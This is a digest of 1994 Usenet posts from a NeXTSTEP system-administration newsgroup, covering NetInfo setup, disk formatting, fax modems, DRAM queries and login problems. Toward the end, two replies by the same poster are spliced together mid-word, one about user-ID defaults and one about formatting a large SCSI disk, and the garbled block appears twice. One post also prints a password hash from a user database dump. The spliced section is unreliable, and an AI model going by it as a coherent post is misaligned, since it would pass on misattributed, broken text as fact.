From: ivo@next.agsm.ucla.edu (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mode Changes from DiskCopy
Date: 20 Jan 1994 23:33:43 GMT
Organization: UCLA Microcomputer Support Office
Message-ID: <2hn4cn$27n@news.mic.ucla.edu>
References: <2hk269$21j@news.mic.ucla.edu> <2hknhq$8b@news.mic.ucla.edu>
Well, looks like I ran into the dump/restore bug mentioned in another post.
I ended up using the NS 3.2 CD-ROM to rerun Upgrade.app and then reinstalled
the developer stuff that Upgrade deleted. Now everything is fine again.
Just took a day or so.
Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu
Asst Prof of Finance iwelch@agsm.ucla.edu
AGSM at UCLA
From: klui@corp.hp.com (Ken Lui)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Netinfo Query
Date: 20 Jan 1994 23:32:02 GMT
Organization: Hewlett-Packard Company
Distribution: world
Message-ID: <2hn49i$40a@hpscit.sc.hp.com>
References: <2hksli$q58@hpscit.sc.hp.com>
I got an email reply from Rob Francis <francisr@stupid.ucs.indiana.edu>
and with his help, was able to solve my problem. Thanks Rob!
Basically, /'s "master" property should have something like
host/network. While in /machines/hosts's "serves" property, it
should have ./network or host/network. "host" would be replaced
by the real host's name. In any event, whatever the master's
value is for the "network" portion, that has to be the same as
the "serves" value in /machines/host.
I did that, but it still didn't work. What had happened was
/etc/netifno/network.nidb/* was out of sync so I disconnected my
machine from my network, edited hostconfig so that I was no
longer a NetInfo server, launched NetManager, clicked on NetInfo
Server (the program asked me that I already had a network
database--do I want to delete it; I said "Yes"), bypassed the
reboot portion, logged off, powered down, connected back onto the
network, and finally rebooted. That annoying message no longer
comes up.
Ken
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From: sela@iastate.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: RE:How can you tell how much DRAM you have?
Date: 21 Jan 1994 00:06:43 GMT
Organization: Iowa State University, Ames, Iowa
Distribution: world
Message-ID: <2hn6aj$bjq@news.iastate.edu>
References: <CJx2I8.8n@canis.metaworks.de>
Neither the info window nor hostinfo gives the DRAM size. Yes, they
give primary memory size, but not DRAM. The question, then, still remains
(see subject).
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From: nando@ccrma.stanford.edu (Fernando Pablo Lopez Lezcano)
Newsgroups: comp.sys.next.sysadmin
Subject: DEC DSP3210S: how to initialize?
Date: 21 Jan 1994 01:34:42 GMT
Organization: Stanford University
Message-ID: <2hnbfi$7eg@nntp2.Stanford.EDU>
Well, here I am, nice drive, no format :-(
disk barfs with the following error:
# disk -i /dev/rsd1a
disk name: DEC DSP3210S
disk type: fixed_rw_scsi
writing disk label
boot block extends beyond front porch
and newfs reports:
# newfs /dev/rsd1a
setting optimization for space with minfree less than 10
seek error: 2098711
wtfs: Error 0
scsimodes gets the following info:
# scsimodes /dev/rsd1a
SCSI information for /dev/rsd1a
Drive type: DEC DSP3210S
512 bytes per sector
86 sectors per track
16 tracks per cylinder
3045 cylinder per volume (including spare cylinders)
16 spare sectors per cylinder
0 alternate tracks per volume
4197519 usable sectors on volume
As far as I can see there are more 512 byte blocks than the system can
handle without partitions (max = 4,194,304 512 byte blocks). So my options
are either partition (which I would like to avoid), somehow convince the
system that the disk is slightly smaller (disktab?) or change the block
size to 1024 bytes. But I tried to partition and no luck (same error
message). Any suggestions and / or success stories?
Thanks in advance!
-- Fernando
nando@ccrma.stanford.edu
From: briggman@rock.concert.net (David B Briggman -- Personal Account)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How Install Adobe Fonts on NS/FIP?
Date: 21 Jan 1994 01:56:44 GMT
Organization: CONCERT-Connect Public Access UNIX
Message-ID: <2hncot$f3o@inxs.concert.net>
References: <2h77ea$fi5@cville-srv.wam.umd.edu> <2h7oek$4qk@news.tamu.edu>
MetroTools is also FAT and handles Mac fonts as well.
Dave
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From: smb3u@kiptron.psyc.virginia.edu (Steven M. Boker)
Subject: rlogind and telnetd on 3.2
Message-ID: <CJyIM8.I1H@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia, Department of Psychology
Date: Fri, 21 Jan 1994 01:54:08 GMT
I've been struggling with a problem the past few days which is new
for our site, but has been covered several times in this group.
The news is that 3.2 hasn't changed anything. The rlogind<->pty<->csh
flow control is still broken when you rlogin from some systems.
Oddly enough, the rlogind<->pty<->ksh flow control _does_ work.
I don't know whether to blame the csh or rlogind for the problem.
The test for the problem is simply to rlogin and then run lptest
and see if 16000 characters are transmitted. I would get about
11000 or so, and the rest would be dropped in the bit bucket. At
the end of lptest's output I see a string of ^S^S^S^S^S, a sure
sign that someone is talking too fast and doesn't know when to shut
up. :^)
In our case the problem is triggered when you rlogin from our
university's new cisco terminal servers connected to the modem
pool. The problem hadn't been triggered until our central admin
decided to switch all the modems over to 8 bits no parity.
This didn't create happy campers among my users who found that when
they set their modems for no parity, that rlogin dropped characters
and telnet refused to respond to ^C and Esc. I have gotten telnet
to work with the undocumented "stty -extproc" in one's .login file.
However, no combination of stty's has managed to exorcise the flow
control gremlin.
Short of installing another rlogind, does anyone have further
suggestions? If not, is there a recommended replacement for rlogind?
Steve
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From: fabien@free.fdn.org (Fabien Roy)
Subject: Re: How can you tell how much DRAM you have?
Message-ID: <1994Jan20.205407.1305@free.fdn.org>
Sender: news@free.fdn.org
Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France.
References: <2hkkde$b55@news.iastate.edu>
Date: Thu, 20 Jan 1994 20:54:07 GMT
In article <2hkkde$b55@news.iastate.edu> me@helser18.res.iastate.edu (My
Account) writes:
>
> How can one find out how much DRAM one has installed without running the
> whole boot process on the monitor?
>
> --
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> * Brian Morrison sela@iastate.edu (NeXT Mail welcome!) *
> * --------------------------------------------------------- *
> * He who throws mud loses ground. *
> ****************************************************************
Type m in the monitor.
--Fabien
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NeXTmail OK
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From: mhamrick@dallas.bozell.com(Matt Hamrick)
Subject: Re: Missing Help Files
Message-ID: <1994Jan20.235417.24539@bozell.com>
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <1994Jan5.174412.7999@nic.csu.net>
Date: Thu, 20 Jan 1994 23:54:17 GMT
In article <1994Jan5.174412.7999@nic.csu.net> writes:
-> I have installed 3.2 from scratch on a Slab with a 210 MB Hard disk.
->
-> I have found that it does not include the WorkSpace Help files.
-> Help just does not work. Is there something that can add
-> the Help filess? Is there a way to share the help files from
-> a server?
->
I just got finished doing the same thing to a Color Slab with about a
240 Mb hard drive. I found that the WorkSpace Help files are right where I
thought they would be:
/usr/lib/NextStep/Workspace.app/WM.app/English.lproj/Help.store
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From: devans@uoguelph.ca (David F Evans)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: AudioCDs on NSFIP; Reading sound data from AudioCDs
Date: 21 Jan 1994 03:18:24 GMT
Organization: University of Guelph
Message-ID: <2hnhi0$64e@nermal.cs.uoguelph.ca>
References: <9401141905.AA13378@Cranach.tms-gmbh.de> <1994Jan20.200613.437@elin-ekt.co.at>
In article <1994Jan20.200613.437@elin-ekt.co.at> Karl Prager (spock!charlie) wrote:
:>In article <9401141905.AA13378@Cranach.tms-gmbh.de> gerti@tms-gmbh.de (Gerd
:>Knops) writes:
:>> Since many people asked for that, I finally decided to write an App,
:>> that enables you to read sound data from an AudioCD and store it in
:>> the NeXT .snd format ... ... ...
:>(cut)
:>It would be really a super program. But, even if you can solve the problem
:>with the 'autochecking' from the NeXT side, I was thinking of such a program
:>by myself. Gerd, a guy from a manufactor of such SCSI-player told me that
:>this check is controlled also by firmware on the player to inhibit to read
:>data from an AudioCD whithout setting a Bit in the data stream which
:>normally inhibit to copy to another digital media eg. DAT and other's. They
:>do lock all direct CD-data readings to the SCSI-Bus, he was saying. So I
:>give up before the beginning.
:>Was he lying for the music companies ?
:>Think of copyright !
I didn't either, so this may have been discussed before or not be relavent.
But for what it's worth, I merily read thousands of megabytes of digital audio
data from CDs on an SGI Indigo, using the Toshiba drive everyone talks about
and the model number of which I can't remember.
I save this data as raw 16-bit linear data to a file--I could have sent it
wherever I wanted. Since I only had the machine for a weekend it probably got
replaced by corporate reports or something.... :)
=============================================================================
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Computer/Synth Junkie (NeXTMail OK)
University of Guelph "Default is the value selected by the
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From: bg@la.async.vt.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Help: SLIP and sending mails
Date: 21 Jan 1994 03:42:26 GMT
Organization: Virginia Tech, Blacksburg, Virginia
Distribution: world
Message-ID: <2hniv2$7to@solaris.cc.vt.edu>
I can receive mails, but my outgoing mails keep returning with error
messages as follows:
From: NeXT Mail Agent <Mailer-Agent>
Subject: Returned mail: Host unknown
---Transcript of sessions follows---
550 mailhost(ether)...550 Host unknown
554 user@a.b.c...550 Host unknown (Authoritative answer from name server)
Please let me know if any of you have any idea how I can fix it.
BTW, the same address works for all other internet things, so I do not
think it has anything to do with my name server.
Thanks in advance.
Hoseong La
hsla@vtcc1.cc.vt.edu
--
Under Construction. :-@
From: sav3@merhaba.cc.columbia.edu (Sean A Varah)
Newsgroups: comp.sys.next.sysadmin
Subject: Dos Partion of SCSI drive
Date: 21 Jan 1994 03:46:21 GMT
Organization: Columbia University
Distribution: usa
Message-ID: <2hnj6d$anr@apakabar.cc.columbia.edu>
Summary: Can you mount it
When I first installed NeXTStep 3.2, I used Fdisk to create
a DOS partition on my SCSI drive, which is my boot drive.
Is there any way I can mount this drive ifrom NeXTStep?
I've been following the articles regarding mounting a
DOS partition of a SECOND drive, but does this work on a
PRIMARY drive?
Thanks
Sean Varah
******************************************************************************
"it's not music if no one wants to listen to it"
Sean Varah, Columbia Universty, cello@woof, ta-sav2@cunixa.columbia.edu
******************************************************************************
From: markf@cory.EECS.Berkeley.EDU (Mark Frohnmayer)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Adding a USR Sportster FAX modem
Date: 21 Jan 1994 04:26:37 GMT
Organization: University of California, at Berkeley
Message-ID: <2hnlht$q06@agate.berkeley.edu>
Hi all,
I want to be able to use my US Robotics 14.4 FAX/Modem's fax capabilities
with NEXTSTEP. I'm running NS 3.2 for intel. I don't need any extra
capabilities beyond what NS offers with printing and FaxReader - I just need
it to support my modem. Anyone know the solution to my problem? Any help
would be very appreciated.
Mark Frohnmayer
markf@cory.eecs.berkeley.edu
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: swap space BIG! help!!!
Message-ID: <1994Jan20.234551.927@vlsi.polymtl.ca>
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
Date: Thu, 20 Jan 1994 23:45:51 GMT
my swapfile :
111888 -rw------t 1 root 114507776 Jan 20 18:27 swapfile
116320 -rw------t 1 root 119111680 Jan 20 18:27 swapfile.front
What can I do?
HELP, I have no more diskspace...
(please direct-mail me to jmh@info.polymtl.ca as soon as you can!)
--
jmh
jean-marc heneman = jmh@info.polymtl.ca
if mail bounces, try jmh@aircanada.ca
I prefer ASCII mail for now, but you can send me NextMail for attachment
__
/ /_/
__/ / /
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: Re: swap space BIG! help!!!
Message-ID: <1994Jan21.004235.1607@vlsi.polymtl.ca>
Followup-To: comp.sys.next.bugs,comp.sys.next.sysadmin
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
References: <1994Jan20.234551.927@vlsi.polymtl.ca>
Date: Fri, 21 Jan 1994 00:42:35 GMT
I resolved the prob : just reboot!
thanks and sorry!
jean-marc
Jean-Marc Heneman (jmh@info.polymtl.ca) wrote:
: my swapfile :
: 111888 -rw------t 1 root 114507776 Jan 20 18:27 swapfile
: 116320 -rw------t 1 root 119111680 Jan 20 18:27 swapfile.front
: What can I do?
: HELP, I have no more diskspace...
: (please direct-mail me to jmh@info.polymtl.ca as soon as you can!)
: --
: jmh
: jean-marc heneman = jmh@info.polymtl.ca
: if mail bounces, try jmh@aircanada.ca
: I prefer ASCII mail for now, but you can send me NextMail for attachment
: __
: / /_/
: __/ / /
--
jmh
jean-marc heneman = jmh@info.polymtl.ca
if mail bounces, try jmh@aircanada.ca
I prefer ASCII mail for now, but you can send me NextMail for attachment
__
/ /_/
__/ / /
Newsgroups: comp.sys.next.sysadmin
Subject: RE: How can you tell how much DRAM you have?
Message-ID: <1994Jan21.085936.3884@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Fri, 21 Jan 1994 08:59:36 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <2hn6aj$bjq@news.iastate.edu>
Organization: Institut fuer Informatik
In article <2hn6aj$bjq@news.iastate.edu> writes:
>
> Neither the info window nor hostinfo gives the DRAM size. Yes, they
> give primary memory size, but not DRAM. The question, then, still
remains
> (see subject).
> --
> *******************IOWA***STATE***UNIVERSITY********************
> * Brian Morrison sela@iastate.edu (NeXT Mail welcome!) *
> * --------------------------------------------------------- *
> * He who throws mud loses ground. *
> ****************************************************************
The /usr/adm/messages files will hold all the information you want after a
boot upto the momemt the administration routines clean up. Then you can
still check /usr/adm/messages.old.
--
Robert Frank tel. +41 (0)61 321 99 67
Institut fuer Informatik fax +41 (0)61 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail ok)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
( if all fails try frank@urz.unibas.ch )
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Adding a USR Sportster FAX modem
Message-ID: <1994Jan21.083116.11302@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <2hnlht$q06@agate.berkeley.edu>
Date: Fri, 21 Jan 1994 08:31:16 GMT
In article <2hnlht$q06@agate.berkeley.edu> markf@cory.EECS.Berkeley.EDU
(Mark Frohnmayer) writes:
> Hi all,
>
> I want to be able to use my US Robotics 14.4 FAX/Modem's fax
capabilities
> with NEXTSTEP. I'm running NS 3.2 for intel. I don't need any extra
> capabilities beyond what NS offers with printing and FaxReader - I just
need
> it to support my modem. Anyone know the solution to my problem? Any
help
> would be very appreciated.
It isn't supported. The canonical answer is to buy NXFax, and use it with
a supported Class 2 fax modem.
The USR modems are an oddity: I keep on getting reports from the USA that
people understand that they are class 2, but every time I call USR here
they say that the class 2 upgrades aren't available yet.
Good modems, though.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: slwdz@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How can you tell how much DRAM you have?
Message-ID: <1994Jan20.160903.8323@cc.usu.edu>
Date: 20 Jan 94 16:09:03 MDT
References: <2hkkde$b55@news.iastate.edu>
Distribution: world
Organization: Utah State University
> How can one find out how much DRAM one has installed without running the
> whole boot process on the monitor?
From the Workspace, in the info menu, bring up the info panel. Voila. RAM and
HD space info.
To find this stuff out programmatically take a look at the mach function
hostinfo. It is discussed in:
.../OperatingSystem/Part1_Mach/04_MachFunctions
Good luck,
John Zollinger
slwdz@cc.usu.edu
From: arunc@cc.nctu.edu.tw (Arun Chandra)
Newsgroups: comp.sys.next.sysadmin
Subject: formatting floppies
Date: 21 Jan 1994 14:35:03 GMT
Organization: Computer Center, National Chiao-Tung University, Taiwan
Message-ID: <2hop6n$bue@debbie.cc.nctu.edu.tw>
Is there any way to force the formatting of floppies under NeXTStep
3.1?
I have a bunch of DOS floppies, and I'd like to reformat them as NeXT
floppies for backup purposes. (The DOS floppies only allow for "DOS
length" names.)
Right now, if the WM can read a floppy, it won't let you format it.
Thanks for the help,
Arun Chandra
arunc@cc.nctu.edu.tw
From: dfh@guitar.ho.att.com (Dan Hurley)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo reliability/performance etc.
Date: 21 Jan 1994 12:30:11 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401211828.AA04205@guitar.ho.att.com>
I have been experimenting with NetInfo linking three machines on two subnets
and my initial sense is that it is very easy to administer and pretty flexible.
However, before I consider this technology for a larger network of machines, I
would like to learn from others' experiences.
If you have experience using NetInfo for moderate/large networks, I would
greatly appreciate your informal assessment of that experience, particularly
regarding issues like scalability, reliability, performance, convenience,
comparisons and/or interoperability with other technology (e.g., Novell's
netware), etc.
Please include in your comments measures of the size and complexity of your
network (# of machines, # of subnets, # of levels).
Thanks in advance for your insight.
Dan Hurley
dfh@guitar.ho.att.com
Newsgroups: comp.sys.next.sysadmin
From: melli@cs.sfu.ca (Gabor Melli)
Subject: Re: Power OFF button on intel 3.2: how to remove it ?
Message-ID: <1994Jan21.182919.10534@cs.sfu.ca>
Organization: CSS, Simon Fraser University, Burnaby, B.C., Canada
References: <2hk5mc$adc@geraldo.cc.utexas.edu>
Distribution: usa
Date: Fri, 21 Jan 1994 18:29:19 GMT
In article <2hk5mc$adc@geraldo.cc.utexas.edu> jirapa@nextover.pe.utexas.edu writes:
>
>Would any body know how to remove or disable the power off selection on the
>login window for the NeXTSTEP for intell processors?
I've tried myself without success. The Unix man page on loginwindow
discusses the disabling of the PowerOffButton. This works but unfor-
tunately the button icon remains and furthermore the Restart button
is also disabled. I looked inside /usr/lib/NextStep/loginwindow.app
but could only find the icon inside the tile and the "Power Off"
text. Without these a blank tile remains which would be OK by me.
My gripe is that I want the Restart button to still be effective
while the Power button is disabled.
-Gabor
Systems Consultant
School of Computing Science
Simon Fraser University
From: cniessen@athena.mit.edu (Christopher C Niessen)
Newsgroups: comp.sys.next.sysadmin
Subject: Sharing NeXT Printer to Macintoshes
Date: 21 Jan 1994 22:22:59 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <CNIESSEN.94Jan21172259@al-burro.mit.edu>
I am extremely new to the NeXT community, and I have what I hope is a simple
question. I have a nextstation (non-turbo), and a next printer, and I
am running NS3.0. Under 3.0, I can access Apple file servers, and apple
printers. Is there any way I can make my next printer available to
macintoshes on the ethernet? I have looked at Columbia Appletalk
Package (CAP), but it only supports macintoshes connected through an
IPTalk gateway to the NeXT. It supports native EtherTalk (which the
macs speak) on suns and decs, but alas, not on next. Howver, the
atalkd in NS speaks native ethertalk (it can see the macs just fine), but
there is no way for me to get at it. Its very frustrating. If anyone
has any thoughts on this problem, I would appreciate hearing them..
(BTW, I would prefer to not have to use an LPR client on the macintoshes
to speak to the lpd on the next.. I have many more macs to deal with
than my lonely next.. I would like this to be transparent.)
ANY thoughts would be appreciated..
Chris Niessen
niessec@ll.mit.edu
Disclaimer: These are my thoughts, not MIT's. Besides, they wouldn't
want them even if they could have them.
From: nando@ccrma.stanford.edu (Fernando Pablo Lopez Lezcano)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: UserID collision management
Date: 21 Jan 1994 22:20:34 GMT
Organization: Stanford University
Distribution: world
Message-ID: <2hpkfi$h4n@nntp2.Stanford.EDU>
References: <2hmopc$g70@agate.berkeley.edu>
Izumi Ohzawa writes
> In article <
9401201633.AA03633@guitar.ho.att.com> dfh@guitar.ho.att.com (Dan Hurley) writes:
>
> >I created one network user numbered 1001 and had hoped that Netinfo
> > would at least assign network user ids sequentially, starting at 1002.
> > Unfortunately, netinfo always uses "100" as the default and therefore,
> > it would appear, I must maintain a list of ids i've used in order to
> > avoid duplicates.
>
> Just a suggestion...
>
> I don't know if this will work, but have you tried changeing the
> following lines in /etc/nu.cf. I haven't and I don't know, so you have
> to experiment.
>
> PWFillHoles = 1 ; 1 -> Fill the holes in the password file
> PWUserBase = 100 ; Fill passwd file starting at uid 100
Both options do what they claim and they are what you are looking for.
You can always check the latest entries by doing a "nidump passwd / | tail"
-- Fernando
nando@ccrma.stanford.edu
ing the
> following lines in /etc/nu.cf. I haven't and I don't know, so you have
> to exper changed the number of blocks to reflect
what I think is the maximum and issued the modified
command as in:
# /etc/mkfs /dev/rsd1a 2097152 43 16 8192 1024 16 0 5 2048 s
Warning: 2048 bytes per inode impossible due
to cylinder group size, using 4465 bytes per inode
Reduce cylinder group size to reduce bytes per inode.
Warning: 560 sector(s) in last cylinder unallocated
/dev/rsd1a: 2097152 sectors in 3049 cylinders of 16 tracks, 43 sectors
2147.5Mb in 191 cyl groups (16 c/g, 11.27Mb/g, 2048 i/g)
super-block backups (for fsck -b#) at:
16, 11072, 22128, 33184, 44240, 55296, 66352, 77408, 88464, 99520,
110576, 121632, 132688, 143744, 154800, 165856, 176144, 187200, 198256, 209312,
220368, 231424, 242480, 253536, 264592, 275648, 286704, 297760, 308816, 319872,
330928, 341984, 352272, 363328, 374384, 385440, 396496, 407552, 418608, 429664,
.......
The file system built succesfully and the drive seems to
be working just fine... Thanks again to those who
responded and hope this helps!
-- Fernando
nando@ccrma.stanford.edu
PS: I would not know what to do wiment.
>
> PWFillHoles = 1 ; 1 -> Fill the holes in the password file
> PWUserBase = 100 ; Fill passwd file starting at uid 100
Both options do what they claim and they are what you are looking for.
You can always check the latest entries by doing a "nidump passwd / | tail"
-- Fernando
nando@ccrma.stanford.edu
ing the
> following lines in /etc/nu.cf. I haven't and I don't know, so you have
> to exper changed the number of blocks to reflect
what I think is the maximum and issued the modified
command as in:
# /etc/mkfs /dev/rsd1a 2097152 43 16 8192 1024 16 0 5 2048 s
Warning: 2048 bytes per inode impossible due
to cylinder group size, using 4465 bytes per inode
Reduce cylinder group size to reduce bytes per inode.
Warning: 560 sector(s) in last cylinder unallocated
/dev/rsd1a: 2097152 sectors in 3049 cylinders of 16 tracks, 43 sectors
2147.5Mb in 191 cyl groups (16 c/g, 11.27Mb/g, 2048 i/g)
super-block backups (for fsck -b#) at:
16, 11072, 22128, 33184, 44240, 55296, 66352, 77408, 88464, 99520,
110576, 121632, 132688, 143744, 154800, 165856, 176144, 187200, 198256, 209312,
220368, 231424, 242480, 253536, 264592, 275648, 286704, 297760, 308816, 319872,
330928, 341984, 352272, 363328, 374384, 385440, 396496, 407552, 418608, 429664,
.......
The file system built succesfully and the drive seems to
be working just fine... Thanks again to those who
responded and hope this helps!
-- Fernando
nando@ccrma.stanford.edu
PS: I would not know what to do with a 3Gbyte drive with the
same problem! Should have 1024 byte blocks to work...
Newsgroups: comp.sys.next.sysadmin
From: root@oingo.umn.edu (Operator)
Subject: SuperHacked Me!!
Message-ID: <CK0HEE.6Au@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Sat, 22 Jan 1994 03:19:07 GMT
Hi, I ran SuperHack to change my recycler to a swirling Black Hole
and now I cannot log into my account. Im running NS 3.2 Black. I do
have root access, but I don't know what to do so I can log in.
Any help would be appreciated, Thanks,
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
| |
| Programmer James P. Klett |
| Replies to klett@sunrayce.solar.umn.edu |
| |
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Newsgroups: comp.sys.next.sysadmin
From: kent@infoserv.com
Subject: Re: RE:How can you tell how much DRAM you have?
Message-ID: <CK0G2A.1pt@infoserv.com>
Sender: kent@infoserv.com (Kent L. Shephard)
Organization: K. L. Shephard Consulting
References: <2hn6aj$bjq@news.iastate.edu>
Date: Sat, 22 Jan 1994 02:54:09 GMT
In article <2hn6aj$bjq@news.iastate.edu> sela@iastate.edu writes:
#
#Neither the info window nor hostinfo gives the DRAM size. Yes, they
#give primary memory size, but not DRAM. The question, then, still remains
#(see subject).
Huh?
From the Workspace Manager select the info panel.
It will give you DRAM in the machine.
Kent
--
/* K.L. Shephard Consulting is my company. Infoserv only delivers my mail. */
/* Please direct mail to kent@infoserv.com other adresses may not work. */
From: mycroft@ccwf.cc.utexas.edu (Alex Currier)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How To Add New APPS to my Services Menu
Date: 22 Jan 1994 05:33:41 GMT
Organization: The University of Texas at Austin, Austin, Texas
Distribution: na
Message-ID: <2hqdrl$cps@geraldo.cc.utexas.edu>
References: <2hmq03$7dj@transfer.stratus.com>
In article <2hmq03$7dj@transfer.stratus.com> skeets@cac.stratus.com (Paul
Pederson) writes:
> I was told that the Services should add themselves, if they are coded to do
> so. I look into my .NEXT/services/.applist file which I figure is the
> configuration file for the services list. In this file I see the pathname
> names of the applications is wish to see.
If you put the applications in /LocalApps or ~/Apps they will automatically
add whatever services they provide to the Services Menu. In addition, files
made by these programs will now show their proper icons in the Browser and
they appear as options in the "Default Tools" selector in the Workspace "Tools
Inspector" panel. I've ended up putting all my apps in the ~/Apps and making
links to other directories where they are "sorted". I am sure there is a way
to make the OS look in other folders aside from ~/Apps to find things for
these purposes but I've never gotten around to looking into it.
--
==============================================================================
Alex Currier * mycroft@ccwf.cc.utexas.edu * NeXTmail capable.
Time is just one damn thing after another.
==============================================================================
From: gt8855a@prism.gatech.EDU (Bert Lindgren)
Newsgroups: comp.sys.next.sysadmin,comp.unix.questions,comp.unix.admin
Subject: Unable to login-in, except with uid=0
Summary: Only root can find home directories...
Message-ID: <133371@hydra.gatech.EDU>
Date: 22 Jan 94 00:18:32 GMT
Followup-To: comp.sys.next.sysadmin
Organization: Georgia Institute of Technology
While some of the details are NextStep-specific, I cross-posted this
because I think I'm seeing a unix problem. Sorry if you disagree.
[ WM is NextStep's workspace manager (finder, filemanager, etc) ]
Earlier today, while doing an Update-viewers, WM complained about an
internal error, and asked if I wanted to logout or continue (at my own
risk). I "continued" with the hopes of saving a file and logging-out.
[I can't remember what the internal error was... maybe 1006].
While WM was pretty unhappy, I was able to save and logout.
Then the fun began...
Loginwindow accepted my username and password (folded-up the panel),
tried to run WM and then returned to the login-panel. ONLY root is
able to login. /usr/adm/messages shows the following during these failures:
Jan 21 17:49:39 dapc loginwindow[186]: loginwindow: \
Workspace exited ts 0 cd 0 rc 0 sv 0 ss 0.
Jan 21 17:49:57 dapc loginwindow[186]: loginwindow: \
Workspace exited ts 0 cd 0 rc 255 sv 0 ss 255.
Jan 21 17:50:07 dapc loginwindow[186]: loginwindow: \
Workspace exited ts 0 cd 0 rc 255 sv 0 ss 255.
More interestingly, telnet has analagous problems:
login: bert
Password:
No directory /home/bert!
Connection closed by foreign host.
dapc:6#
dapc:6#
dapc:6#
dapc:6#
dapc:6#
dapc:6# ls -l /home/bert
total 13
drwxr-xr-x 2 bert 1024 Jan 21 18:15 .NeXT/
-r--r--r-- 1 bert 240 Mar 4 1992 .commanddict
-rw-r--r-- 1 bert 477 Sep 13 16:23 .cshrc
-r--r--r-- 1 bert 885 Jul 15 1991 .indent.pro
-rw-r--r-- 1 bert 0 Aug 20 02:28 .index.store
-rw-r--r-- 1 bert 180 Sep 13 16:23 .login
-rw-r--r-- 1 bert 6 Sep 13 16:23 .logout
-rw-r--r-- 1 bert 19 Sep 13 16:23 .mailrc
-r--r--r-- 1 bert 49 Jul 15 1991 .pipedict
-rw-r--r-- 1 bert 257 Sep 13 16:23 .plan
-rw-r--r-- 1 bert 236 Sep 13 16:23 .profile
drwxr-xr-x 2 bert 1024 Sep 13 16:23 Apps/
drwxr-xr-x 3 bert 1024 Oct 22 03:31 Library/
drwxr-xr-x 3 bert 1024 Oct 22 03:28 Mailboxes/
[Sure looks like /home/bert exists, huh?!?]
dapc:9# su bert
No shell
dapc:10# su - bert
No directory
dapc:11# su bert2 [ bert2 is a the same as bert, but w/uid=0]
dapc> [ No problem ]
Besides not being able to login, the machine seems quite happy!
I've rebooted, fsck'ed the drive. The only anomaly I observed is during
the boot process... (line is from memory)
Starting network daemons: inetd ASSERTION FAILED PID 157... \
unable to chdir to /usr/spool/uucp (-1)
I don't think this has anything to do with inetd (it's still running after
boot completes), but it just prints after inetd is echo'ed.
Here are bert and bert2's netinfo records:
(everything the same except uid's)
dapc:17# nidump passwd . | grep bert
bert:Z2csFFSrjfK7A:6076:21:Bert Lindgren:/home/bert:/bin/csh
bert2:Z2csFFSrjfK7A:0:21:Bert Lindgren:/home/bert:/bin/csh
The machine is an Intel box running 3.2...
Though this seems like a problem above the hardware level.
Thanks,
Bert
--
Bert Lindgren Georgia Tech, Atlanta Georgia, 30332 (404) 841-6220
Internet: bert@cc.gatech.edu Prodigy: Surely you jest
>>>>>>>>>>>> NeXT Mail always enjoyed and appreciated <<<<<<<<<<<<<<
Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Toshiba MK538FB with 1024Bytes/sector?
Message-ID: <CK11uG.4DB@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
Date: Sat, 22 Jan 1994 10:44:38 GMT
Hello!
I would like to reformat my Toshiba MK538FB to 1024b/s. I got
email response from someone, who has this running with that blocksize, so
it can be done, but NOT with sdformat (i tried this already and
sdformat says that it could not set the desired blocksize).
I would like to get the sense-file from someone who has the MK538FB
running with 1024b/s or any advice how to achieve it.
Get sense from the scsitools and issue (as root)
sense -t# -p 63 >/tmp/toshiba.sense
Replace # with the scsi target id of your toshiba drive.
Send me the resulting toshiba.sense file.
Thanks.
Axel
P.S.: Btw. Black HW, NS3.2 if this is important.
--
Axel Habermann \\|// "Wenn Du nicht
kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
From: burton@het.brown.edu (Joshua W. Burton)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
Subject: Internal Error 3007 at login ???
